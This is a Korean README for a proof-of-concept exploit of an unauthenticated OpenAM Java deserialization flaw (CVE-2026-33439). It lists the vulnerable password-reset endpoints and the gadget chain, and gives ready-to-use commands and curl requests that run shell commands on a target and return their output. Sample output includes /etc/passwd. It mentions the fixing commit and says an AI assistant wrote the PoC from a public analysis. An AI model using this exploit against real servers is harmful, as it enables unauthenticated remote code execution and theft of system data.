
OpenAM 사전 인증 RCE(CVE-2026-33439)를 위한 익스플로잇으로, Java 역직렬화 가젯 체인을 사용하여 명령을 실행하고 출력을 HTTP 응답에 직접 반환합니다.
명령 출력이 HTTP 응답에 직접 포함됩니다 — DNS 외부 유출이나 OOB가 필요 없습니다.
역직렬화 중 활성 JATO ThreadLocal 요청/응답에 접근하기 위해 com.iplanet.jato.RequestManager.getRequestContext()를 사용합니다. 기존 Tomcat echo 기법(Thread.target / ThreadGroup.threads 탐색)이 실패하는 Java 21+에서 작동합니다.
javac 필요)click-nodeps-2.3.0.jar 및 xalan-2.7.x.jar가 있는 대상 OpenAM| 엔드포인트 | Echo 출력 |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, 본문에 명령 출력 |
/sso/ui/PWResetQuestion | HTTP 200, 본문에 명령 출력 |
/sso/ui/PWResetSuccess | HTTP 200, 본문에 명령 출력 |
또한 테스트했지만 echo 출력 없음(역직렬화는 여전히 트리거됨):
/sso/ui/PWResetInvalidURL — 오류 페이지 반환/sso/ui/PWResetUncaughtException — 오류 페이지 반환./build.sh
JAR은 --add-opens JVM 플래그를 자동으로 추가합니다 — 수동으로 지정할 필요가 없습니다.
# 올인원: 페이로드 생성 + 전송 + 출력 표시 (Burp를 통해 프록시)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Burp 프록시 없이
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# 재사용 가능한 페이로드 생성 (명령은 요청 시 'cmd' 헤더에서 가져옴)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue 역직렬화 페이로드 생성 (Click1 + Xalan TemplatesImpl 가젯 체인)RequestManager.getRequestContext()를 호출하여 활성 JATO 요청/응답을 가져옴cmd HTTP 헤더를 읽고 sh -c <cmd>를 실행하여 stdout+stderr를 response.getOutputStream()에 기록\x00 접두사 + URL 안전 Base64, 패딩 없음)/sso/ui/PWResetUserValidation?jato.clientSession=<payload>로 전송 (인증 없음)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # 익스플로잇 JAR
build.sh # 빌드 스크립트
MANIFEST.MF # JAR 매니페스트
README.md # 이 파일
lib/ # 종속성 (JAR 옆에 있어야 함)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # 소스 코드
OpenAM 커밋 014007c63cacc834cc795a89fac0e611aebc4a32에서 패치됨 — SessionEncodeURL.readSessionID()의 ObjectInputStream에 클래스 필터를 추가합니다.
PoC는 Claude를 사용하여 작성되었습니다. 프롬프트는 분석 보고서(https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce)와 Git 커밋(https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)이었습니다.